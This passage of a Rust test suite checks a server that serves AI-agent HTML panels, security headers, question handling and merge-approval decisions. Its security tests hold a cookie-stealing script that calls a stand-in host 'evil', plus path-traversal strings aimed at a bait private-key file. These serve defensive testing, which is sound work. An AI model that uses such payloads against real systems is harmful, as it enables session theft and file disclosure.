11789        std::fs::create_dir_all(&staging).expect("staging dir");
11790        let sources: Vec<PathBuf> = assets
11791            .iter()
11792            .map(|(name, bytes)| {
11793                let path = staging.join(name);
11794                std::fs::write(&path, bytes).expect("write staged asset");
11795                path
11796            })
11797            .collect();
11798        store
11799            .put_panel(&mut q, html, &sources)
11800            .expect("write the panel");
11801        store.put(&mut q).expect("put question");
11802        q.id
11803    }
11804
11805    /// A talk on disk, without talking to a model.
11806    ///
11807    /// Written as JSON straight into the store the server reads, because the
11808    /// only constructor `talk::begin` offers takes no turn but still requires
11809    /// a real caller-visible flow. The one thing this cannot make up is the
11810    /// seat, so it is built with the real `SeatState::new` and serialized -
11811    /// the alternative, hand-writing that object, would make these tests fail
11812    /// the day the seat gains a field.
11813    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11814        seed_talk_at(&fx.talks(), id, status)
11815    }
11816
11817    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11818        std::fs::create_dir_all(store.root()).expect("talks dir");
11819        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11820            .expect("serialize a seat");
11821        let body = serde_json::json!({
11822            "schema": 1,
11823            "id": id,
11824            "repo": "/repo/magi",
11825            "agent": "mock",
11826            "status": status,
11827            "turns": [],
11828            "created_at": Timestamp::now().to_string(),
11829            "updated_at": Timestamp::now().to_string(),
11830            "seat": seat,
11831        });
11832        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11833        store.get(id).expect("the seeded talk has to be readable");
11834        id.to_owned()
11835    }
11836
11837    #[tokio::test]
11838    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11839        let fx = Fixture::start().await;
11840        let id = panel(
11841            &fx,
11842            "<h1>Merge?</h1><img src=\"diff.svg\">",
11843            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11844        );
11845
11846        for path in [
11847            format!("/api/questions/{id}/panel"),
11848            format!("/api/questions/{id}/asset/diff.svg"),
11849        ] {
11850            let res = fx.get(&path).await;
11851            assert_eq!(res.status, 200, "{path}: {}", res.body);
11852            // The whole string, not a substring. A weakened directive - an
11853            // `img-src *` that lets a panel beacon out to a remote host, a
11854            // `script-src` anything, a missing `form-action` that lets it post
11855            // the owner's decision to a third party - has to fail here, and a
11856            // `contains` assertion would let every one of those through.
11857            assert_eq!(
11858                res.header("content-security-policy"),
11859                Some(
11860                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11861                     font-src data:; base-uri 'none'; form-action 'none'; \
11862                     frame-ancestors 'self'"
11863                ),
11864                "{path} is the only thing between a hostile panel and the tailnet"
11865            );
11866            assert_eq!(
11867                res.header("x-content-type-options"),
11868                Some("nosniff"),
11869                "{path}: a browser must not re-decide the type we sent"
11870            );
11871            assert_eq!(
11872                res.header("referrer-policy"),
11873                Some("no-referrer"),
11874                "{path}: a panel must not leak the question id off the machine"
11875            );
11876
11877            // The front end mounts the frame only after a `HEAD` says the
11878            // panel is there, so `HEAD` has to answer with the same status and
11879            // the same policy as `GET` - a preflight that came back without
11880            // the CSP would mean a frame mounted on an unverified promise.
11881            let pre = fx.head(&path).await;
11882            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11883            assert_eq!(
11884                pre.header("content-security-policy"),
11885                res.header("content-security-policy"),
11886                "{path}: the preflight carries the same policy"
11887            );
11888            assert_eq!(
11889                pre.header("content-type"),
11890                res.header("content-type"),
11891                "{path}: the preflight carries the same type"
11892            );
11893        }
11894    }
11895
11896    #[tokio::test]
11897    async fn a_panel_reaches_the_browser_byte_for_byte() {
11898        let fx = Fixture::start().await;
11899        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11900        // tag, an entity, and a multi-byte character. The sandbox is what makes
11901        // this safe, so nothing here may be rewritten on the way out - a
11902        // rewritten diff is a diff the owner cannot trust.
11903        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11904        let id = panel(&fx, html, &[]);
11905
11906        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11907
11908        assert_eq!(res.status, 200);
11909        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11910        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11911        assert_eq!(
11912            res.header("content-disposition"),
11913            None,
11914            "the panel itself is rendered in the frame, not downloaded"
11915        );
11916    }
11917
11918    #[tokio::test]
11919    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11920        let fx = Fixture::start().await;
11921        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11922        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11923        let id = panel(
11924            &fx,
11925            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11926            &[("diff.svg", svg), ("shot.png", png)],
11927        );
11928
11929        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11930        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11931
11932        assert_eq!(as_svg.status, 200);
11933        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11934        // An SVG is XML that may carry script. Inside the panel it is an
11935        // `<img src>` and the script cannot run; opened at the top level it
11936        // would be a document on magi's own origin, so the browser is told to
11937        // download it instead of rendering it.
11938        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11939
11940        assert_eq!(as_png.status, 200);
11941        assert_eq!(as_png.header("content-type"), Some("image/png"));
11942        assert_eq!(
11943            as_png.header("content-disposition"),
11944            None,
11945            "a raster image has no execution surface, so tapping it still shows it"
11946        );
11947        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11948    }
11949
11950    #[tokio::test]
11951    async fn an_html_asset_is_never_served_as_html() {
11952        let fx = Fixture::start().await;
11953        let id = panel(
11954            &fx,
11955            "<p>see the notes</p>",
11956            &[
11957                (
11958                    "notes.html",
11959                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11960                ),
11961                ("hook.js", b"fetch('http://evil/')"),
11962                ("data.json", b"{}"),
11963                ("HEADLINE.TXT", b"plain"),
11964            ],
11965        );
11966
11967        for name in ["notes.html", "hook.js", "data.json"] {
11968            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11969            assert_eq!(res.status, 200, "{name}: {}", res.body);
11970            // Serving this as text/html would be a way to reach agent markup
11971            // at the top level of the operator's browser, outside the frame's
11972            // sandbox and outside its CSP - which is the whole thing the panel
11973            // design exists to prevent. Unlisted types are downloads.
11974            assert_eq!(
11975                res.header("content-type"),
11976                Some("application/octet-stream"),
11977                "{name} must not be a type the browser will execute or render"
11978            );
11979        }
11980        // The whitelist is matched case-insensitively, so an agent shouting the
11981        // extension still gets a readable file rather than a download.
11982        let txt = fx
11983            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11984            .await;
11985        assert_eq!(
11986            txt.header("content-type"),
11987            Some("text/plain; charset=utf-8")
11988        );
11989    }
11990
11991    #[tokio::test]
11992    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11993        let fx = Fixture::start().await;
11994        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11995        // Something outside the panel directory that a traversal would reach if
11996        // one got through, so a passing test is not merely "the file was
11997        // missing anyway".
11998        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11999
12000        // Decoded before this server's handler sees them: axum percent-decodes
12001        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12002        // string with a NUL in it. All three look like ordinary single-segment
12003        // filenames to the router, so the router passes them through and
12004        // `valid_asset_name` is what refuses them - for the literal `..`, and
12005        // for `/`, `\` and NUL not being in the permitted character set.
12006        for encoded in [
12007            "%2e%2e%2fid_rsa",
12008            "..%2fid_rsa",
12009            "..%5cid_rsa",
12010            "%2e%2e%5cid_rsa",
12011            "diff%00.svg",
12012            "..",
12013            ".hidden",
12014            "%2e%2e%2f%2e%2e%2fid_rsa",
12015        ] {
12016            let res = fx
12017                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12018                .await;
12019            assert_eq!(
12020                res.status, 400,
12021                "`{encoded}` has to be refused by name, not looked up: {}",
12022                res.body
12023            );
12024            assert!(res.json()["error"].is_string(), "{}", res.body);
12025        }
12026
12027        // Not decoded, and never this handler's problem: a real slash makes the
12028        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12029        // so axum's router has no route to match and answers before any code
12030        // here runs. Asserted so that a future route with a wildcard segment
12031        // cannot quietly open this door.
12032        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12033            let res = fx
12034                .get(&format!("/api/questions/{id}/asset/{literal}"))
12035                .await;
12036            assert_eq!(
12037                res.status, 404,
12038                "`{literal}` must not match the asset route at all: {}",
12039                res.body
12040            );
12041        }
12042    }
12043
12044    #[tokio::test]
12045    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12046        let fx = Fixture::start().await;
12047        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12048        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12049
12050        // A question nobody wrote a panel for. The client preflights with HEAD
12051        // and cannot see inside a sandboxed frame, so this must be a status and
12052        // not an empty page.
12053        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12054        assert_eq!(none.status, 404, "{}", none.body);
12055        assert!(none.json()["error"].is_string(), "{}", none.body);
12056        assert_eq!(
12057            fx.head(&format!("/api/questions/{plain}/panel"))
12058                .await
12059                .status,
12060            404,
12061            "the preflight is the only way the client can learn this"
12062        );
12063
12064        // A name that is perfectly legal and simply is not there.
12065        let missing = fx
12066            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12067            .await;
12068        assert_eq!(missing.status, 404, "{}", missing.body);
12069        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12070
12071        // A question that does not exist at all, on both routes.
12072        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12073        assert_eq!(
12074            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12075            404
12076        );
12077    }
12078
12079    #[tokio::test]
12080    async fn a_run_with_an_open_question_reads_as_waiting() {
12081        let fx = Fixture::start().await;
12082        let run = "20260902-000000-beef".to_owned();
12083        write_run(&fx.runs(), &run, RunStatus::Implementing);
12084
12085        let before = fx.get("/api/runs").await.json();
12086        assert_eq!(before[0]["waiting"], false, "{before}");
12087
12088        let store = fx.questions();
12089        let mut q = Question::new(
12090            run.clone(),
12091            "implement".to_owned(),
12092            "impl-A".to_owned(),
12093            "Which backend?".to_owned(),
12094            String::new(),
12095            vec!["SQLite".to_owned()],
12096        );
12097        store.put(&mut q).expect("put");
12098
12099        let during = fx.get("/api/runs").await.json();
12100        assert_eq!(during[0]["waiting"], true, "{during}");
12101
12102        // Answered: the run is moving again, and the flag has to follow without
12103        // anything having rewritten run.json.
12104        q.answer(Answer::Choice("SQLite".to_owned()))
12105            .expect("answer");
12106        store.put(&mut q).expect("put");
12107        let after = fx.get("/api/runs").await.json();
12108        assert_eq!(after[0]["waiting"], false, "{after}");
12109    }
12110
12111    #[tokio::test]
12112    async fn an_open_question_is_listed_and_counted_by_health() {
12113        let fx = Fixture::start().await;
12114        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12115
12116        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12117        let listed = fx.get("/api/questions").await.json();
12118        assert_eq!(listed.as_array().expect("array").len(), 1);
12119        assert_eq!(listed[0]["id"], id);
12120        assert_eq!(listed[0]["status"], "open");
12121        assert_eq!(listed[0]["choices"][1], "Redis");
12122        // The count is what makes the phone's indicator honest: it is the one
12123        // number meaning nothing will move until a human acts.
12124        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12125    }
12126
12127    fn obsolete_approval_state() -> RunState {
12128        let mut state = crate::land::tests::repair_state(true, true);
12129        state.pr = Some(crate::run::PrRecord {
12130            url: "https://github.com/example/repo/pull/42".into(),
12131            number: 42,
12132            state: "open".into(),
12133            checks: "green".into(),
12134            round: 1,
12135            rounds: 4,
12136            red_at_merge: Vec::new(),
12137        });
12138        state
12139    }
12140
12141    #[tokio::test]
12142    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12143        for owner in ["missing", "current", "completed", "later"] {
12144            let fx = Fixture {
12145                home: TempDir::new().unwrap(),
12146                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12147            };
12148            let mut state = obsolete_approval_state();
12149            state.status = RunStatus::Landing;
12150            state.parked = true;
12151            state.driver_exited = true;
12152            let mut q = Question::new(
12153                state.id.clone(),
12154                crate::land::APPROVAL_NODE.into(),
12155                "land".into(),
12156                "Old approval".into(),
12157                "Original evidence".into(),
12158                vec!["merge".into(), "hold".into()],
12159            );
12160            state.land_approval = Some(crate::run::LandApproval {
12161                question: q.id.clone(),
12162                head: "head".into(),
12163            });
12164            state.save_under(fx.home.path()).unwrap();
12165            let stale = state.clone();
12166            fx.questions().put(&mut q).unwrap();
12167            let mut task = Task::new(
12168                "Owner".into(),
12169                "Original instruction".into(),
12170                state.repo.clone(),
12171                Source::Human,
12172            );
12173            task.runs.push(state.id.clone());
12174            task.status = if owner == "completed" {
12175                TaskStatus::Done
12176            } else {
12177                TaskStatus::Parked
12178            };
12179            if owner == "later" {
12180                task.runs.push("later-run".into());
12181            }
12182            if owner != "missing" {
12183                fx.queue().put(&mut task).unwrap();
12184            }
12185            let ui = Arc::new(Ui::new(
12186                fx.queue(),
12187                fx.questions(),
12188                fx.talks(),
12189                fx.runs(),
12190                fx.home.path().into(),
12191                state.repo.clone(),
12192            ));
12193            let response = question_answer(
12194                State(ui),
12195                Path(q.id.clone()),
12196                Ok(Json(NewAnswer {
12197                    choice: Some(crate::merge_decision::DISMISS.into()),
12198                    text: None,
12199                    ..Default::default()
12200                })),
12201            )
12202            .await
12203            .unwrap();
12204            assert_eq!(
12205                response.0.question.resolution().as_deref(),
12206                Some(crate::merge_decision::DISMISS)
12207            );
12208            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12209            assert_eq!(disk.status, RunStatus::Superseded);
12210            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12211            assert!(!crate::merge_decision::resumable_hold(&disk));
12212            assert_eq!(
12213                serde_json::to_value(&disk.pr).unwrap(),
12214                serde_json::to_value(&stale.pr).unwrap()
12215            );
12216            assert_eq!(fx.questions().count_open(), 0);
12217            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12218            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12219            if owner == "missing" {
12220                assert!(fx.queue().list().is_empty());
12221            } else {
12222                let after = fx.queue().get(&task.id).unwrap();
12223                assert_eq!(
12224                    after.status,
12225                    if owner == "current" {
12226                        TaskStatus::Done
12227                    } else {
12228                        task.status
12229                    }
12230                );
12231                assert_eq!(after.runs, task.runs);
12232                assert_eq!(after.instruction, task.instruction);
12233                assert_eq!(after.action_applied(&q.id), owner == "current");
12234            }
12235        }
12236    }
12237
12238    #[tokio::test]
12239    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12240        let fx = Fixture::start().await;
12241        let mut state = obsolete_approval_state();
12242        state.status = RunStatus::Landing;
12243        state.parked = true;
12244        state.driver_exited = true;
12245        let mut q = Question::new(
12246            state.id.clone(),
12247            crate::land::APPROVAL_NODE.into(),
12248            "land".into(),
12249            "Superseded PR approval".into(),
12250            "Original review evidence".into(),
12251            vec!["merge".into(), "hold".into()],
12252        );
12253        state.land_approval = Some(crate::run::LandApproval {
12254            question: q.id.clone(),
12255            head: "old-reviewed-head".into(),
12256        });
12257        // The old persisted PR may still say open even when a separate change
12258        // already landed. Dismissal must not use that snapshot to close it.
12259        state.save_under(fx.home.path()).unwrap();
12260        let stale_driver = state.clone();
12261        fx.questions().put(&mut q).unwrap();
12262        let path = fx
12263            .home
12264            .path()
12265            .join("questions")
12266            .join(format!("{}.json", q.id));
12267        let mut legacy = serde_json::to_value(&q).unwrap();
12268        legacy["schema"] = 9.into();
12269        legacy.as_object_mut().unwrap().remove("merge_target");
12270        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12271
12272        // POST without GET tests legacy upgrade and validation at the actual
12273        // entry point, rather than constructing a modern card in the test.
12274        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12275        let answer_path = format!("/api/questions/{}/answer", q.id);
12276        let res = fx.post(&answer_path, Some(&body)).await;
12277        assert_eq!(res.status, 200, "{}", res.body);
12278        let disk = fx.questions().get(&q.id).unwrap();
12279        assert_eq!(
12280            disk.resolution().as_deref(),
12281            Some(crate::merge_decision::DISMISS)
12282        );
12283        assert!(disk.detail.starts_with("Original review evidence"));
12284        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12285        assert_eq!(retired.status, RunStatus::Superseded);
12286        assert_eq!(
12287            serde_json::to_value(&retired.pr).unwrap(),
12288            serde_json::to_value(&state.pr).unwrap()
12289        );
12290        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12291        assert!(!crate::merge_decision::resumable_hold(&retired));
12292        assert!(fx.queue().list().is_empty());
12293        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12294        // A restarted server re-reads the persisted pending list.
12295        let addr = Fixture::serve(
12296            fx.home.path(),
12297            PathBuf::from("/repo/magi"),
12298            launch_idle,
12299            None,
12300        )
12301        .await;
12302        let reconnected = Fixture {
12303            home: fx.home,
12304            addr,
12305        };
12306        let listed = reconnected.get("/api/questions").await.json();
12307        assert!(
12308            listed
12309                .as_array()
12310                .unwrap()
12311                .iter()
12312                .all(|q| q["status"] != "open")
12313        );
12314        assert_eq!(listed[0]["id"], q.id, "history remains available");
12315        assert_eq!(
12316            reconnected.get("/api/health").await.json()["questions_open"],
12317            0
12318        );
12319        assert_eq!(
12320            reconnected
12321                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12322                .await
12323                .status,
12324            409
12325        );
12326        // A late waiter cannot turn the old answer into a new decision.
12327        assert!(
12328            reconnected
12329                .questions()
12330                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12331                .is_err()
12332        );
12333        // The same guard used by claims, repair and publication rejects a
12334        // saved in-memory driver as well as the persisted terminal record.
12335        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12336    }
12337
12338    #[tokio::test]
12339    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12340        let fx = Fixture::start().await;
12341        let mut state = obsolete_approval_state();
12342        state.status = RunStatus::Landing;
12343        state.driver_exited = true;
12344        let mut q = Question::new(
12345            state.id.clone(),
12346            crate::land::APPROVAL_NODE.into(),
12347            "land".into(),
12348            "Obsolete approval".into(),
12349            String::new(),
12350            vec!["merge".into(), "hold".into()],
12351        );
12352        state.land_approval = Some(crate::run::LandApproval {
12353            question: q.id.clone(),
12354            head: "head".into(),
12355        });
12356        state.save_under(fx.home.path()).unwrap();
12357        fx.questions().put(&mut q).unwrap();
12358        let mut task = Task::new(
12359            "Owner".into(),
12360            "Original instruction".into(),
12361            state.repo.clone(),
12362            Source::Human,
12363        );
12364        task.runs = vec![state.id.clone(), "later-run".into()];
12365        fx.queue().put(&mut task).unwrap();
12366        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12367        let claim = fx.queue().claim(&task.id).unwrap();
12368        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12369        let path = format!("/api/questions/{}/answer", q.id);
12370        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12371        assert!(fx.questions().get(&q.id).unwrap().status.open());
12372        drop(claim);
12373        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12374        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12375        assert!(fx.questions().get(&q.id).unwrap().status.open());
12376        drop(publication);
12377        // Unknown liveness and armed auto-merge both fail without settling.
12378        state.driver_exited = false;
12379        state.driver_pid = None;
12380        state.driver_claimed = None; // No durable proof of an unstarted execution.
12381        state.save_under(fx.home.path()).unwrap();
12382        assert_eq!(
12383            state.liveness_under(fx.home.path(), false),
12384            crate::run::Liveness::Unknown
12385        );
12386
12387        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12388        state.driver_exited = true;
12389        state.land_armed_head = Some("head".into());
12390        state.save_under(fx.home.path()).unwrap();
12391        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12392        state.land_armed_head = None;
12393        state.save_under(fx.home.path()).unwrap();
12394        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12395        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12396        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12397    }
12398
12399    #[tokio::test]
12400    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12401        let fx = Fixture::start().await;
12402        let mut state = obsolete_approval_state();
12403        state.status = RunStatus::Landing;
12404        state.driver_exited = true;
12405        let mut q = Question::new(
12406            state.id.clone(),
12407            crate::land::APPROVAL_NODE.into(),
12408            "land".into(),
12409            "Obsolete approval".into(),
12410            String::new(),
12411            vec!["merge".into(), "hold".into()],
12412        );
12413        state.land_approval = Some(crate::run::LandApproval {
12414            question: q.id.clone(),
12415            head: "head".into(),
12416        });
12417        state.save_under(fx.home.path()).unwrap();
12418        fx.questions().put(&mut q).unwrap();
12419        let mut task = Task::new(
12420            "Owner".into(),
12421            "Original instruction".into(),
12422            state.repo.clone(),
12423            Source::Human,
12424        );
12425        task.runs.push(state.id.clone());
12426        task.status = TaskStatus::Parked;
12427        fx.queue().put(&mut task).unwrap();
12428        // Model a crash after the run stop was persisted but before the queue
12429        // and answered question were flushed. Retrying must finish, not resume.
12430        state.merge_decision = Some(crate::merge_decision::Decision {
12431            question: q.id.clone(),
12432            target: crate::merge_decision::Target {
12433                pr: state.pr.as_ref().unwrap().url.clone(),
12434                head: "head".into(),
12435                language: "ja".into(),
12436            },
12437            choice: crate::merge_decision::DISMISS.into(),
12438            closed: false,
12439            replacement_run: None,
12440            replacement_pr: None,
12441        });
12442        state.status = RunStatus::Superseded;
12443        state.save_under(fx.home.path()).unwrap();
12444        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12445        let path = format!("/api/questions/{}/answer", q.id);
12446        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12447        let done = fx.queue().get(&task.id).unwrap();
12448        assert_eq!(done.status, TaskStatus::Done);
12449        assert_eq!(done.runs, task.runs);
12450        assert_eq!(done.instruction, task.instruction);
12451        assert!(done.action_applied(&q.id));
12452        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12453        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12454        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12455    }
12456
12457    #[tokio::test]
12458    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12459        let home = TempDir::new().unwrap();
12460        let ui = Arc::new(Ui::new(
12461            Queue::at(home.path().join("queue")),
12462            Questions::at(home.path().join("questions")),
12463            Talks::at(home.path().join("talks")),
12464            home.path().join("runs"),
12465            home.path().to_owned(),
12466            home.path().to_owned(),
12467        ));
12468        let talks = &ui.talks;
12469        let chat =
12470            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12471        let mut q = Question::new(
12472            "run".into(),
12473            crate::land::APPROVAL_NODE.into(),
12474            "land".into(),
12475            "Merge?".into(),
12476            String::new(),
12477            vec!["merge".into(), "hold".into()],
12478        );
12479        q.routed_task = Some("task".into());
12480        q.routed_chat = Some(chat.id.clone());
12481        q.merge_target = Some(crate::merge_decision::Target {
12482            pr: "https://example.test/pull/1".into(),
12483            head: "head-a".into(),
12484            language: "en".into(),
12485        });
12486        ui.questions.put(&mut q).unwrap();
12487        let send = |body| {
12488            question_answer(
12489                State(ui.clone()),
12490                Path(q.id.clone()),
12491                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12492            )
12493        };
12494        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12495        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12496        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12497        assert!(send(wrong_chat).await.is_err());
12498        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12499        assert!(send(stale).await.is_err());
12500        assert!(ui.questions.get(&q.id).unwrap().status.open());
12501        assert!(send(button.clone()).await.is_ok());
12502        assert_eq!(
12503            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12504            Some("merge")
12505        );
12506        assert!(send(button).await.is_err());
12507    }
12508
12509    #[tokio::test]
12510    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12511        let home = TempDir::new().unwrap();
12512        let ui = Arc::new(Ui::new(
12513            Queue::at(home.path().join("queue")),
12514            Questions::at(home.path().join("questions")),
12515            Talks::at(home.path().join("talks")),
12516            home.path().join("runs"),
12517            home.path().to_owned(),
12518            home.path().to_owned(),
12519        ));
12520        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12521            let mut q = Question::new(
12522                "run".into(),
12523                crate::land::APPROVAL_NODE.into(),
12524                "land".into(),
12525                "Merge?".into(),
12526                String::new(),
12527                vec!["merge".into(), choice.into()],
12528            );
12529            q.routed_task = Some("task".into());
12530            q.merge_target = Some(crate::merge_decision::Target {
12531                pr: "https://example.test/pull/1".into(),
12532                head: "head-a".into(),
12533                language: "en".into(),
12534            });
12535            ui.questions.put(&mut q).unwrap();
12536            let answer = |c: &str| {
12537                question_answer(
12538                    State(ui.clone()),
12539                    Path(q.id.clone()),
12540                    Ok(Json(
12541                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12542                            .unwrap(),
12543                    )),
12544                )
12545            };
12546            let _ = answer(choice).await.unwrap();
12547            assert_eq!(
12548                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12549                Some(choice)
12550            );
12551        }
12552    }
12553
12554    #[tokio::test]
12555    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12556        let home = TempDir::new().unwrap();
12557        let ui = Arc::new(Ui::new(
12558            Queue::at(home.path().join("queue")),
12559            Questions::at(home.path().join("questions")),
12560            Talks::at(home.path().join("talks")),
12561            home.path().join("runs"),
12562            home.path().to_owned(),
12563            home.path().to_owned(),
12564        ));
12565        let mut q = Question::new(
12566            "run".into(),
12567            crate::github_text::ASK_NODE.into(),
12568            "posting-gate".into(),
12569            "Post?".into(),
12570            String::new(),
12571            vec!["use fallback".into()],
12572        );
12573        q.routed_task = Some("task".into());
12574        ui.questions.put(&mut q).unwrap();
12575        let sent = question_answer(
12576            State(ui.clone()),
12577            Path(q.id.clone()),
12578            Ok(Json(
12579                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12580                    .unwrap(),
12581            )),
12582        )
12583        .await;
12584        let _ = sent.unwrap();
12585        assert_eq!(
12586            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12587            Some("use fallback")
12588        );
12589    }
12590
12591    #[tokio::test]
12592    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12593        let fx = Fixture {
12594            home: TempDir::new().unwrap(),
12595            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12596        };
12597        for choice in [
12598            crate::land::HOLD,
12599            crate::land::REPAIR,
12600            crate::land::APPROVE,
12601            crate::merge_decision::WITHDRAW,
12602            "reimplement:beta",
12603        ] {
12604            let mut q = Question::new(
12605                "old-run".into(),
12606                crate::land::APPROVAL_NODE.into(),
12607                "land".into(),
12608                "Decision".into(),
12609                "Review findings".into(),
12610                vec![
12611                    "merge".into(),
12612                    "hold".into(),
12613                    crate::land::REPAIR.into(),
12614                    crate::merge_decision::WITHDRAW.into(),
12615                    "reimplement:beta".into(),
12616                ],
12617            );
12618            q.merge_target = Some(crate::merge_decision::Target {
12619                pr: "https://github.com/example/repo/pull/42".into(),
12620                head: "exact-reviewed-head".into(),
12621                language: "ja".into(),
12622            });
12623            q.consult = Some(ask::ChatConsult {
12624                talk: "another-conversation".into(),
12625                at: jiff::Timestamp::now(),
12626            });
12627            fx.questions().put(&mut q).unwrap();
12628            let ui = Arc::new(Ui::new(
12629                fx.queue(),
12630                fx.questions(),
12631                fx.talks(),
12632                fx.runs(),
12633                fx.home.path().into(),
12634                std::path::PathBuf::from("."),
12635            ));
12636            let response = question_answer(
12637                State(ui.clone()),
12638                Path(q.id.clone()),
12639                Ok(Json(NewAnswer {
12640                    choice: Some(choice.into()),
12641                    text: None,
12642                    ..Default::default()
12643                })),
12644            )
12645            .await
12646            .unwrap();
12647            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12648            let disk = fx.questions().get(&q.id).unwrap();
12649            assert_eq!(disk.merge_target, q.merge_target);
12650            assert_eq!(disk.consult, q.consult);
12651            assert_eq!(disk.resolution().as_deref(), Some(choice));
12652            assert!(
12653                question_answer(
12654                    State(ui),
12655                    Path(q.id.clone()),
12656                    Ok(Json(NewAnswer {
12657                        choice: Some("merge".into()),
12658                        text: None,
12659                        ..Default::default()
12660                    }))
12661                )
12662                .await
12663                .is_err(),
12664                "an already settled decision cannot turn into merge approval"
12665            );
12666        }
12667    }
12668
12669    #[tokio::test]
12670    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12671        let fx = Fixture {
12672            home: TempDir::new().unwrap(),
12673            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12674        };
